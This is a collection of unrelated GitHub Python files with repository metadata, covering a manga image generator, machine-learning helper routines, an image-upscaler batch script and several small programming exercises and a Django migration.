random.choice(choices_text_counts)\n text_areas = _draw_non_overlap_text_areas(\n random, image, text_count, choices_texts=choices_texts, choices_font=choices_fonts)\n\n return image, text_areas\n\n\n# ------------------\n\ncurrent_module_dir = os.path.dirname(__file__)\nproject_root_dir = current_module_dir + '/../../..'\n\n\ndef load_example_fonts() -> List[ImageFont.ImageFont]:\n example_font_dir = get_path_example_dir() + '/fonts/'\n return \\\n [ImageFont.truetype(example_font_dir + 'Komika_Text.ttf', size=15)] + \\\n [ImageFont.truetype(example_font_dir + 'Komika_Text.ttf', size=20)] + \\\n [ImageFont.truetype(example_font_dir + 'Cool Cat.ttf', size=16)] * 3 + \\\n [ImageFont.truetype(example_font_dir + 'Cool Cat.ttf', size=21)]\n\n\ndef load_example_drawing() -> List[Image.Image]:\n return load_images(get_path_example_dir() + '/drawings/*.jpg')[0]\n\n\ndef load_example_texts() -> List[str]:\n return load_texts(get_path_example_dir() + '/text/texts.txt')\n\n\n# ------------------\n\n\ndef _draw_random_drawing(\n random: Random,\n draw: Drawable,\n choices_drawings: List[Image.Image],\n padding: int = 5,\n bound: Optional[Rectangle] = None):\n if not bound:\n bound = Rectangle.of_size(draw.size)\n\n row = bound.top\n while row < bound.bottom:\n i = random.randint(0, len(choices_drawings) - 1)\n main_drawing = choices_drawings[i].copy()\n\n if random.random() > 0.2:\n random_width = max(100, int(random.random() * main_drawing.width))\n main_drawing = _random_resize_to_width(random, main_drawing, random_width)\n\n if main_drawing.height > 100 and random.random() > 0.4:\n crop_top = max(0, random.randint(-300, main_drawing.height - 100))\n crop_bottom = min(main_drawing.height, random.randint(crop_top + 100, main_drawing.height + 100))\n main_drawing = main_drawing.crop((0, crop_top, main_drawing.width, crop_bottom))\n\n if main_drawing.width + 2 * padding > bound.width:\n main_drawing = _random_resize_to_width(random, main_drawing, bound.width - 2 * padding)\n\n draw.paste(main_drawing, (bound.left + padding, row + padding))\n remaining_width = bound.width - padding - main_drawing.width\n if remaining_width > padding + 50:\n sub_random = Random(random.random())\n sub_bound = Rectangle.of_tl_br(tl=(bound.right - remaining_width, row), br=bound.br)\n _draw_random_drawing(sub_random, draw, choices_drawings, padding, bound=sub_bound)\n\n row += main_drawing.height + padding\n\n\ndef _random_resize_to_width(random: Random, image: Image.Image, width: int):\n if random.random() > 0.5:\n ratio = (width / float(image.size[0]))\n height = int((float(image.size[1]) * float(ratio)))\n return image.resize((width, height))\n\n crop_left = random.randint(0, image.width - width)\n crop_right = crop_left + width\n return image.crop((crop_left, 0, crop_right, image.height))\n\n\ndef _draw_non_overlap_text_areas(\n random: Random,\n image: Drawable,\n text_count: int,\n choices_texts: List[str],\n choices_font: List[ImageFont.ImageFont],\n max_retry_count=5\n) -> List[TextArea]:\n bound = Rectangle.of_size(image.size)\n drawn_rects: List[Rectangle] = []\n output: List[TextArea] = []\n\n for i in range(text_count):\n\n attempt = 0\n while attempt < max_retry_count:\n text = random.choice(choices_texts)\n font = random.choice(choices_font)\n\n text_area = _create_random_text_area(random, bound, text, font)\n text_rect = text_area.text_rect\n\n if text_rect in bound:\n if not any(rect for rect in drawn_rects if Rectangle.is_overlap(text_rect, rect)):\n drawn_rects.append(text_rect)\n output.append(text_area)\n text_area.draw(image)\n break\n attempt += 1\n\n if attempt >= max_retry_count:\n raise ValueError(\n f'Could not generate non-overlap texts after random {max_retry_count} retries. '\n f'Please try different `choices_*` or reduce `text_count`')\n\n return output\n\n\ndef _create_random_text_area(\n random: Random,\n bound: Rectangle,\n text: str,\n font: ImageFont,\n bubble_to_rect_ratio=2 / 1\n) -> TextArea:\n xy = Point.of(\n x=random.randint(bound.left + 10, bound.right - 100),\n y=random.randint(bound.top + 10, bound.bottom - 100))\n\n width = min(bound.right - xy.x, random.randint(150, 300))\n\n if random.random() > bubble_to_rect_ratio / (bubble_to_rect_ratio + 1):\n return TextRect(xy, text=text, font=font, max_width=width)\n else:\n return TextBubble(xy, text=text, font=font, max_width=width)\n\n\nif __name__ == \"__main__\":\n generator = MangaGenerator.create()\n image, text_areas = generator.generate(random_seed='xyz')\n image.show()\n\n for text_area in text_areas:\n drw = ImageDraw.Draw(image, 'RGBA')\n text_area.draw_text_rect(drw, fill='#3f3fff55')\n text_area.draw_line_rects(drw, fill='#ff0f0f8f')\n\n image.show()\n","repo_name":"wanasit/comic-ocr","sub_path":"comic_ocr/dataset/generated_manga/generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":8056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"1566113501","text":"from numpy import *\nimport matplotlib.pyplot as plt\nfrom sklearn import *\nfrom operator import itemgetter\nimport scipy.optimize as sp_optimize\nimport sys\n\n\ndef gaussian_minimum_expected_loss_decisions(samples, loss_matrix, class_means, class_covs,\n class_priors):\n\t# Find number of classes and validate that number\n\tnum_classes = len(loss_matrix)\n\tif len(loss_matrix[0]) != num_classes or len(class_means) != num_classes or len(class_covs) != num_classes:\n\t\tprint(\"Error: Non-matching number of classes passed to gaussian_minimum_expected_loss function\")\n\t\treturn\n\t# Loop through all samples to decide class for each\n\tsample_decisions = []\n\tfor sample_index in range(len(samples)):\n\t\t# Loop through all classes to find risk associated with assigning sample to each\n\t\trisk = zeros([num_classes])\n\t\tfor assumed_class in range(num_classes):\n\t\t\ttotal_loss = 0\n\t\t\t# Loop through all classes to calculate loss associated with deciding each given assumed class\n\t\t\tfor decision_class in range(num_classes):\n\t\t\t\ttotal_loss += loss_matrix[assumed_class][decision_class] \\\n\t\t\t\t * class_priors[decision_class] \\\n\t\t\t\t * multivariate_gaussian_pdf([samples[sample_index]], class_means[decision_class],\n\t\t\t\t class_covs[decision_class])[0]\n\t\t\trisk[assumed_class] = total_loss\n\t\t# Find minimum risk and add to sample decisions\n\t\tminimum_risk_class = argsort(risk)[0] + 1\n\t\tsample_decisions.append(minimum_risk_class)\n\n\treturn sample_decisions\n\n\ndef generate_confusion_matrix_counts(sample_decisions, sample_labels, num_classes):\n\t# Validate that number of sample decisions and labels are the same\n\tif len(sample_decisions) != len(sample_labels):\n\t\tprint(\"Error: Non-matching number of samples passed to generate_confusion_matrix function\")\n\t\treturn\n\t# Create confusion matrix with rows = predicted classes, columns = actual classes\n\tconfusion_matrix_count = zeros([num_classes, num_classes])\n\tfor sample_index in range(len(sample_decisions)):\n\t\tconfusion_matrix_count[sample_decisions[sample_index] - 1][sample_labels[sample_index] - 1] += 1\n\treturn confusion_matrix_count\n\n\ndef generate_confusion_matrix(sample_decisions, sample_labels, num_classes):\n\tconfusion_matrix_count = generate_confusion_matrix_counts(sample_decisions, sample_labels, num_classes)\n\t# Create confusion matrix with rows = predicted classes, columns = actual classes\n\tconfusion_matrix = zeros([num_classes, num_classes])\n\tfor row in range(num_classes):\n\t\tfor col in range(num_classes):\n\t\t\tconfusion_matrix[row][col] = confusion_matrix_count[row][col] / sum(confusion_matrix_count[:, col])\n\treturn confusion_matrix\n\n\ndef multivariate_gaussian_pdf(x, mean, covariance, x_len=-1):\n\t\"\"\"\n Returns likelihoods of all samples in array given mean and covariance\n :param x: Array of samples\n :param mean: Mean of multivariate distribution as 1-D matrix\n :param covariance: Covariance of multivariate distribution as 2-D matrix\n :param x_len: Length of x, helps speed up algorithm when this is called a lot\n :return: Array of likelihoods\n \"\"\"\n\tif x_len == -1:\n\t\tx_len = len(x)\n\tret_matrix = []\n\tdimensions = len(mean)\n\tnormalization_constant = ((2 * math.pi) ** (-dimensions / 2)) * (linalg.det(covariance) ** -0.5)\n\tcov_inv = linalg.inv(covariance)\n\tfor i in range(x_len):\n\t\tmean_diff = subtract(x[i], mean)\n\t\texponent = math.exp(matmul(matmul(-0.5 * transpose(mean_diff), cov_inv), mean_diff))\n\t\tlikelihood = normalization_constant * exponent\n\t\tret_matrix.append(likelihood)\n\treturn ret_matrix\n\n\ndef generate_roc_curve(likelihood_ratios_array, is_low_ratio_origin, sample_labels_array, prior_class_denominator,\n prior_class_numerator):\n\t# Check for valid array lengths\n\tif len(likelihood_ratios_array) != len(sample_labels_array):\n\t\treturn\n\n\t# Sort likelihood ratios, samples, and labels to make selecting good gamma threshold values\n\tlikelihood_sort_results = argsort(likelihood_ratios_array * (-1 if is_low_ratio_origin else 1))\n\tlikelihood_ratios = likelihood_ratios_array[likelihood_sort_results]\n\tsample_labels = array(sample_labels_array)[likelihood_sort_results]\n\n\t# True/False Positives/Negatives numbers instead of percentages at first for more efficient looping through samples\n\ttrue_positives = []\n\tfalse_positives = []\n\ttrue_negatives = []\n\tfalse_negatives = []\n\tgammas = []\n\t# Keep looping to increase gamma threshold until all samples are classified into same class\n\tfor i in range(len(likelihood_ratios_array)):\n\t\t# Find all true/false positives/negatives\n\t\tif i == 0:\n\t\t\ttrue_positives.append(sum(sample_labels))\n\t\t\tfalse_positives.append(len(likelihood_ratios_array) - true_positives[0])\n\t\t\ttrue_negatives.append(0)\n\t\t\tfalse_negatives.append(0)\n\t\t\tgammas.append(likelihood_ratios[i] - 1) # Amount under lowest likelihood isn't important\n\n\t\t# Calculate gamma threshold for this iteration\n\t\tif i == len(likelihood_ratios_array) - 1:\n\t\t\tgamma_threshold = likelihood_ratios[i] + 1 # The amount over the highest likelihood isn't important\n\t\telse:\n\t\t\tgamma_threshold = (likelihood_ratios[i] + likelihood_ratios[i + 1]) / 2\n\t\tgammas.append(gamma_threshold)\n\n\t\t# Find which positive is subtracted from and which negative is added to based on label of likelihood passed\n\t\ttemp_true_positives = 0\n\t\ttemp_false_positives = 0\n\t\ttemp_true_negatives = 0\n\t\ttemp_false_negatives = 0\n\t\tif sample_labels[i] == 0:\n\t\t\ttemp_false_positives = -1\n\t\t\ttemp_true_negatives = 1\n\t\telse:\n\t\t\ttemp_true_positives = -1\n\t\t\ttemp_false_negatives = 1\n\t\ttrue_positives.append(true_positives[-1] + temp_true_positives)\n\t\tfalse_positives.append(false_positives[-1] + temp_false_positives)\n\t\ttrue_negatives.append(true_negatives[-1] + temp_true_negatives)\n\t\tfalse_negatives.append(false_negatives[-1] + temp_false_negatives)\n\n\t# Change true/false positives/negatives from numbers to percentages\n\tfor i in range(len(likelihood_ratios_array) + 1):\n\t\ttemp_tp = true_positives[i] / (true_positives[i] + false_negatives[i]) if (true_positives[i] +\n\t\t false_negatives[i]) > 0 else 0\n\t\ttemp_fp = false_positives[i] / (false_positives[i] + true_negatives[i]) if false_positives[i] + \\\n\t\t true_negatives[i] > 0 else 0\n\t\ttemp_tn = true_negatives[i] / (false_positives[i] + true_negatives[i]) if false_positives[i] + \\\n\t\t true_negatives[i] > 0 else 0\n\t\ttemp_fn = false_negatives[i] / (true_positives[i] + false_negatives[i]) if (true_positives[i] +\n\t\t false_negatives[i]) > 0 else 0\n\t\ttrue_positives[i] = temp_tp\n\t\tfalse_positives[i] = temp_fp\n\t\ttrue_negatives[i] = temp_tn\n\t\tfalse_negatives[i] = temp_fn\n\n\t# Find minimum probability of error\n\tmin_error_prob = 1\n\tmin_error_index = 0\n\tfor i in range(len(likelihood_ratios_array)):\n\t\tcur_error = false_positives[i] * prior_class_denominator + false_negatives[i] * prior_class_numerator\n\t\tif cur_error < min_error_prob:\n\t\t\tmin_error_prob = cur_error\n\t\t\tmin_error_index = i\n\tprint(\"P(error) = \" + str(min_error_prob) + \", Gamma = \" + str(gammas[min_error_index]))\n\n\t# Find area under ROC curve\n\tarea = 0\n\tfor i in range(1, len(likelihood_ratios_array)):\n\t\tarea += (true_positives[i] + true_positives[i - 1]) / 2 * (false_positives[i - 1] - false_positives[i])\n\n\t# Plot ROC curve and min probability of error\n\tplt.plot(false_positives, true_positives, 'b',\n\t false_positives[min_error_index], true_positives[min_error_index], 'ro')\n\tplt.title(\"Minimum Expected Risk ROC Curve\")\n\tplt.xlabel(\"P (False Positive)\")\n\tplt.ylabel(\"P (True Positive)\")\n\tplt.legend(['ROC Curve', 'Estimated Min Error'])\n\tplt.text(0.4, 0.5, \"Area Under ROC: \" + str(round(area, 5)))\n\tplt.text(false_positives[min_error_index] + 0.03, true_positives[min_error_index] - 0.03,\n\t \"(\" + str(round(false_positives[min_error_index], 3)) + \",\" +\n\t str(round(true_positives[min_error_index], 3)) + \")\")\n\tplt.show()\n\n\treturn min_error_prob, gammas[min_error_index]\n\n\ndef gmm_estimate_parameters(samples, num_gaussians, num_inits, convergence_threshold):\n\tnew_samples = samples\n\tsample_len = len(samples)\n\tmax_log_likelihood = -10000000000000000 # Very very small number\n\tmax_priors = [0] * num_gaussians\n\tmax_means = [0] * num_gaussians\n\tmax_covs = [0] * num_gaussians\n\tfor loop in range(num_inits):\n\t\trandom.shuffle(new_samples)\n\t\t# Initialize priors, means, and covariances\n\t\t# Priors initially all equal\n\t\tpriors = [1 / num_gaussians] * num_gaussians\n\t\t# Means are means of samples split equally into classes\n\t\tmeans = [mean(new_samples[round(i * sample_len / num_gaussians):\n\t\t round((i + 1) * sample_len / num_gaussians - 1)],\n\t\t axis=0) for i in range(num_gaussians)]\n\t\t# Covariances are covariances of samples split equally into classes\n\t\tcovs = [cov(transpose(new_samples[round(i * sample_len / num_gaussians):\n\t\t round((i + 1) * sample_len / num_gaussians - 1)]))\n\t\t for i in range(num_gaussians)]\n\t\tconverged = False\n\t\t# Keep iterating algorithm while it hasn't converged\n\t\twhile not converged:\n\t\t\t# Class likelihoods given samples have rows = classes and columns = samples\n\t\t\tclass_likelihoods_temp = [\n\t\t\t\t(multiply(priors[i], multivariate_gaussian_pdf(new_samples, means[i], covs[i], sample_len)))\n\t\t\t\tfor i in range(num_gaussians)]\n\t\t\tclass_likelihoods_temp_column_sums = sum(class_likelihoods_temp, axis=0)\n\t\t\tclass_likelihoods_given_samples = [[class_likelihoods_temp[i][j] / class_likelihoods_temp_column_sums[j]\n\t\t\t for j in range(sample_len)] for i in range(num_gaussians)]\n\t\t\t# Calculate new priors, means, and covariance values\n\t\t\tpriors_new = [mean(class_likelihoods_given_samples[i]) for i in range(num_gaussians)]\n\t\t\tmeans_new = [divide(sum([multiply(new_samples[j], class_likelihoods_given_samples[i][j])\n\t\t\t for j in range(sample_len)], axis=0),\n\t\t\t sum(class_likelihoods_given_samples[i]))\n\t\t\t for i in range(num_gaussians)]\n\t\t\tcovs_new = [add(divide(sum([multiply(class_likelihoods_given_samples[i][j],\n\t\t\t outer((subtract(new_samples[j], means_new[i])),\n\t\t\t transpose(subtract(new_samples[j], means_new[i]))))\n\t\t\t for j in range(sample_len)], axis=0),\n\t\t\t sum(class_likelihoods_given_samples[i])), 0.0000000001 * identity(len(samples[0])))\n\t\t\t for i in range(num_gaussians)]\n\t\t\t# Check for convergence\n\t\t\tif mean(absolute(subtract(priors_new, priors))) + \\\n\t\t\t\tmean(absolute(subtract(means_new, means))) + \\\n\t\t\t\tmean(absolute(subtract(covs_new, covs))) < convergence_threshold:\n\t\t\t\tconverged = True\n\t\t\t# Set new prior, mean, and covariance values\n\t\t\tpriors = priors_new\n\t\t\tmeans = means_new\n\t\t\tcovs = covs_new\n\n\t\t# Use estimated parameters to find likelihood. Save if this is the best likelihood of all initializations\n\t\tpdfs = zeros(sample_len)\n\t\tfor i in range(num_gaussians):\n\t\t\ttemp_pdf = add(pdfs, multiply(priors[i],\n\t\t\t multivariate_gaussian_pdf(new_samples, means[i], covs[i])))\n\t\t\tpdfs = temp_pdf\n\t\tlog_likelihood = sum(log(pdfs))\n\t\tif log_likelihood > max_log_likelihood:\n\t\t\tmax_log_likelihood = log_likelihood\n\t\t\tmax_priors = priors\n\t\t\tmax_means = means\n\t\t\tmax_covs = covs\n\n\treturn max_priors, max_means, max_covs, max_log_likelihood\n\n\ndef random_class_index(priors):\n\t\"\"\"\n Returns a weighted random index from 0 to len(priors) (uninclusive) based on the prior values\n :param priors: Class priors that must add up to 1\n :return: Index from 0 to len(priors)-1\n \"\"\"\n\trand_num = random.rand()\n\tsummer = 0\n\tfor j in range(len(priors)):\n\t\tsummer += priors[j]\n\t\tif rand_num < summer:\n\t\t\treturn j\n\treturn -1 # Should never get here, but return something that will never happen if we do get here\n\n\ndef calculate_bic(d_train, max_gaussians, b_verbose):\n\t\"\"\"\n Calculates BIC and returns array of BIC score at each gaussian\n :param d_train: Training data as numpy array\n :param max_gaussians: Max number of gaussians to calculate BIC for\n :param b_verbose: Boolean to enable/disable printing of progress\n :return: Chosen num gaussians, numpy array of BIC values from 1 to max gaussians\n \"\"\"\n\t# Calculate BIC model-order criterion\n\tbic_array = []\n\tfor gaussians in range(1, max_gaussians + 1):\n\t\tdist = mixture.GaussianMixture(n_components=gaussians, covariance_type='diag', n_init=3,\n\t\t init_params='kmeans', max_iter=100000, tol=0.0001, reg_covar=1e-10)\n\t\tdist.fit(d_train)\n\t\tlog_likelihood = sum(dist.score_samples(d_train))\n\t\tbic = -2 * log_likelihood + (gaussians * (1 + d_train.shape[1] * 2 +\n\t\t sum([i for i in range(1, d_train.shape[1])])) -\n\t\t 1) * log(d_train.shape[0])\n\t\tbic_array.append(bic)\n\t\tif b_verbose:\n\t\t\tprint(str(len(d_train)) + \"-sample BIC for \" + str(gaussians) + \" Classes: \" + str(bic))\n\tmin_index = min(enumerate(bic_array), key=itemgetter(1))[0]\n\treturn min_index + 1, bic_array\n\n\ndef k_fold_cross_validation(d_train, K, performance_func, stop_consec_decreases, b_verbose, d_train_labels=None,\n initial_order=1, order_step=1, args=()):\n\t\"\"\"\n Run k-fold validation on a set of data using a given function as a performance metric for different model orders\n :param d_train: Data to run k-fold cross validation on\n :param K: Number of parts to partition data into for training/validation\n :param performance_func: Function to evaluate performance. Must take in (d_train, d_validate, model_order,\n d_train_labels (if d_train_labels passed), d_validate_labels (if d_train_labels_passed), args)\n :param stop_consec_decreases: Number of consecutive performance decreases before stopping the model order increase\n :param b_verbose: Whether to print progress to console along the way\n :param d_train_labels: Optional labels of training data for supervised learning\n :param initial_order: Initial order to start search at\n :param order_step: How much to increase order by each time through\n\t:param args: Extra arguments to performance function\n :return: Selected model order as single integer\n \"\"\"\n\t# Get indices to partition data into K parts to prep for K-fold cross validation\n\tpartition_indexes = r_[linspace(0, d_train.shape[0], num=K, endpoint=False, dtype=int), d_train.shape[0]]\n\t# Loop through using different data partition as validation data\n\tbest_performance_orders = zeros(shape=[K])\n\tfor k in range(K):\n\t\t# Get training and validation data sets for this iteration of k\n\t\td_train_temp = r_[d_train[:partition_indexes[k]], d_train[partition_indexes[k + 1]:]]\n\t\td_validate_temp = d_train[partition_indexes[k]:partition_indexes[k + 1]]\n\t\td_train_labels_temp = r_[d_train_labels[:partition_indexes[k]],\n\t\t d_train_labels[partition_indexes[k + 1]:]] if d_train_labels is not None else None\n\t\td_validate_labels_temp = d_train_labels[partition_indexes[k]:\n\t\t partition_indexes[k + 1]] if d_train_labels is not None else None\n\t\tconsec_performance_decreases = 0\n\t\tlast_performance = -10000000 # Very low number\n\t\tbest_performance = -10000000 # Very low number\n\t\tbest_performance_order = 0\n\t\tmodel_order = initial_order\n\t\t# Increase model order until performance decreases stop_consec_decreases consecutive times\n\t\twhile consec_performance_decreases < stop_consec_decreases:\n\t\t\tperformance = performance_func(d_train_temp, d_validate_temp, model_order, args) if d_train_labels is None \\\n\t\t\t\telse performance_func(d_train_temp, d_validate_temp, model_order, d_train_labels_temp,\n\t\t\t\t d_validate_labels_temp, args)\n\t\t\tconsec_performance_decreases = consec_performance_decreases + 1 if performance <= last_performance else 0\n\t\t\tif performance > best_performance:\n\t\t\t\tbest_performance = performance\n\t\t\t\tbest_performance_order = model_order\n\t\t\tbest_performance = performance if performance > best_performance else best_performance\n\t\t\tlast_performance = performance\n\t\t\tif b_verbose:\n\t\t\t\tprint(str(model_order) + \" model order for K \" + str(k + 1) + \"/\" + str(K) + \", sample size = \" +\n\t\t\t\t str(d_train.shape[0]) + \", performance = \" + str(performance))\n\t\t\tmodel_order += order_step\n\t\tbest_performance_orders[k] = best_performance_order\n\t\tif b_verbose:\n\t\t\tprint(\"K \" + str(k + 1) + \"/\" + str(K) + \" complete, sample size = \" + str(d_train.shape[0]) +\n\t\t\t \", chosen order = \" + str(best_performance_order))\n\treturn_order = mean(best_performance_orders)\n\tif b_verbose:\n\t\tprint(\"Sample size \" + str(d_train.shape[0]) + \" complete, chosen order = \" + str(return_order))\n\treturn return_order\n\n\ndef logistic_binary_classification_likelihood(model_params, d_train, d_train_labels, fit_type):\n\t\"\"\"\n Calculates average negative log likelihood of class posteriors given sample x\n :param model_params: Vector of model parameters to fit sample to\n :param d_train: Training data\n :param d_train_labels: Label of training data\n :param fit_type: Type of fit to look for. Must be linear, quadratic\n :return: Average negative log likelihood of choosing correct class given sample\n \"\"\"\n\tif fit_type == 'linear':\n\t\tz = [r_[1, sample] for sample in d_train]\n\telif fit_type == 'quadratic':\n\t\tz = [r_[1, sample, sample[0] ** 2, sample[0] * sample[1], sample[1] ** 2] for sample in d_train]\n\telse:\n\t\tprint('Logistic Binary Classification Unknown fit type')\n\t\texit(-1)\n\t\treturn\n\t# Logistic values are 1/(1+e^wz), where w is model params and z is sample weight vector\n\tlogistic_values = [1.0 / (1 + exp(matmul(model_params, z[sample]))) for sample in range(len(d_train))]\n\t# Likelihood is 1 - logistic value if class = 0\n\tcorrect_class_likelihoods = [(1 - logistic_values[i] if d_train_labels[i] == 0 else logistic_values[i])\n\t for i in range(len(d_train))]\n\t# Average the log likelihoods of being the correct class\n\treturn -mean(log(correct_class_likelihoods))\n\n\ndef logistic_binary_classification(d_train, d_train_labels, model_params_init, fit_type):\n\t\"\"\"\n Performs logistic-based binary classification and returns model parameters\n :param d_train: Training data\n :param d_train_labels: Training data labels\n :param model_params_init: Initial estimates of model parameters\n :param fit_type: Type of fit to look for. Must be linear, quadratic\n :return:\n \"\"\"\n\t# Find minimized logistic binary classification function and return if successful\n\toptimization_result = sp_optimize.minimize(fun=logistic_binary_classification_likelihood, x0=model_params_init,\n\t args=(d_train, d_train_labels, fit_type), method='Nelder-Mead',\n\t options={'maxiter': 5000, 'fatol': 0.001})\n\tif not optimization_result.success:\n\t\tprint(optimization_result.message)\n\t\texit(-1)\n\treturn optimization_result.x\n","repo_name":"bf2799/eece-5644-machine-learning","sub_path":"common/ml_helpers.py","file_name":"ml_helpers.py","file_ext":"py","file_size_in_byte":19184,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"33672546724","text":"import glob\nimport os\n\nouts = []\n\nos.system(\"cargo install --git https://github.com/DhruvDh/upscaler\")\n\nfor ext in [\"png\", \"jpg\", \"jpeg\"]:\n outs.extend(glob.glob(\"./*_*x.\" + ext))\n outs.extend(glob.glob(\"./**/*_*x.\" + ext))\n\nfor out in outs:\n # os.system(\"rm \" + out)\n if \"_2x\" in out:\n s = 2\n _in = out.replace(\"_2x\", \"\")\n cmd = f\"upscaler {_in} {out} -s {s}\"\n print(f\"Running {cmd}\")\n os.system(cmd)\n\n if \"_4x\" in out:\n s = 4\n _in = out.replace(\"_4x\", \"\")\n cmd = f\"upscaler {_in} {out} -s {s}\"\n print(f\"Running {cmd}\")\n os.system(cmd)\n ","repo_name":"DhruvDh/upscaler","sub_path":"test/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"}
+{"seq_id":"36166308381","text":"number = int(input(\"Enter a number:\")) #take a number as an input\r\nnumber_copy = number #copy that number to a variable so that we can use it later\r\nreverse_number=0\r\nwhile(number>0): #loop to reverse all the digits in the number and store them in another variable(reverse_number)\r\n reverse_number=reverse_number*10+(number%10) #(number%10) gives the last digit of the number and we add that digit to the next 10ths place of the reverse_number(reverse_number*10)\r\n number=number//10 # the number is floor divided by 10 to get the next digit of the number from right to left\r\nif(number_copy==reverse_number): #check if the reversed number is equal to the original number\r\n print(\"The number is palindrome!\") #if 'yes' then it is a palindrome\r\nelse:\r\n print(\"The number is not a palindrome!\") #if 'no' then it is not a palindrome","repo_name":"C0D1NG/Programming","sub_path":"Python/Palindrome_LollaSravani.py","file_name":"Palindrome_LollaSravani.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"37"}
+{"seq_id":"72654739947","text":"arr = []\r\nbreaker = False\r\nfor i in range(9) :\r\n arr.append(int(input()))\r\n\r\narr.sort()\r\n\r\nkey = sum(arr) - 100\r\nfor i in arr :\r\n for j in arr :\r\n if i != j and i+j == key :\r\n arr.remove(i)\r\n arr.remove(j)\r\n breaker = True\r\n break\r\n if breaker == True :\r\n break\r\n\r\nfor i in arr :\r\n print(i)","repo_name":"Legitgoons/algorithm","sub_path":"백준/Bronze/2309. 일곱 난쟁이/일곱 난쟁이.py","file_name":"일곱 난쟁이.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"565947233","text":"import nltk\r\nfrom nltk.corpus import stopwords\r\nfrom nltk.tokenize import word_tokenize,sent_tokenize\r\n# nltk.download()\r\n\r\nstopwords=set(stopwords.words('english'))\r\ntxt=\"Welcome to amal jyothi college of engineering.\" \\\r\n \"college was established in two thousand.\" \\\r\n \"The college is under ktu.\" \\\r\n \"College was located in kottayam.\"\\\r\n \"Amal jyothi is very good for infrastructure .\"\\\r\n \"The faculity members of amal jyothi is very good\"\\\r\n \"The courses offered by amal jyothi college is IntMCA,MCA and various Btech programs\"\r\n\r\ntokenize=sent_tokenize(txt)\r\nfor i in tokenize:\r\n wordlist=word_tokenize(i)\r\n wordlist=[w for w in wordlist if not w in stopwords]\r\n tagged=nltk.pos_tag(wordlist)\r\n print(tagged)\r\n\r\n\r\n#Chunking\r\n# from nltk import RegexpParser\r\n#\r\n# grammer=\"NP:{
?*}\"\r\n# tokenise=word_tokenize(txt)\r\n# tagg=nltk.pos_tag(tokenise)\r\n# print(tokenise)\r\n# print(tagg)\r\n# RegexParser=RegexpParser(grammer)\r\n# chunked=RegexParser.parse(tagg)\r\n# print(chunked)\r\n# chunked.draw()","repo_name":"arjunprabhakar/Machine-Learning","sub_path":"TagNltk.py","file_name":"TagNltk.py","file_ext":"py","file_size_in_byte":1031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"7480820875","text":"import colorama\nfrom colorama import Fore, Back, Style\nfrom colorama import init\ninit()\nfrom variables import *\nfrom defintions import *\nfor game in range(1, 7):\n displayBoard()\n inputword()\n from defintions import win\n from defintions import playerword\n if win == 1 :\n break\n print(\"\\n\")\n \nif win == 1 :\n displayBoard()\n print(Style.RESET_ALL + \"Congratulations you guessed the word\")\nelse :\n print(Fore.RED + \"GAME OVER\")\n displayBoard()\n print(Style.RESET_ALL + \"You have run out of trys!\")\n for x in range(0,5) :\n word[x] = Fore.BLUE + word[x]\n print(\"The word is :\",*word)\n\ninput(Back.BLACK + \"press enter to exit: \") \n","repo_name":"volkrunX/WordleRECREATION","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"26905066155","text":"import pandas\n\nsquirrels = pandas.read_csv(\"2018_Central_Park_Squirrel_Data.csv\")\n# print(squirrels)\n\ngray_count = 0\ncinnamon_count = 0\nblack_count = 0\n\nfor row in squirrels[\"Primary Fur Color\"]:\n if row == \"Gray\":\n gray_count += 1\n if row == \"Cinnamon\":\n cinnamon_count += 1\n if row == \"Black\":\n black_count += 1\n\n\nsquirrel_count = {\n \"Color\": [\"Gray\", \"Cinnamon\", \"Black\"],\n \"Count\": [gray_count, cinnamon_count, black_count]\n}\n\ndata_frame = pandas.DataFrame(squirrel_count)\ndata_frame.to_csv(\"squirrel_count.csv\")\n","repo_name":"greenMakaroni/100-days-of-python-challenge","sub_path":"day 025/squirrel_data.py","file_name":"squirrel_data.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"39786652949","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('jianguo', '0002_profile_avatar'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='profile',\n name='career',\n field=models.TextField(null=True, verbose_name='\\u804c\\u4e1a', blank=True),\n preserve_default=True,\n ),\n migrations.AlterField(\n model_name='profile',\n name='introduction',\n field=models.TextField(null=True, verbose_name='\\u7b80\\u4ecb', blank=True),\n ),\n ]\n","repo_name":"shuoli84/jianguo","sub_path":"jianguo/migrations/0003_auto_20141006_0626.py","file_name":"0003_auto_20141006_0626.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
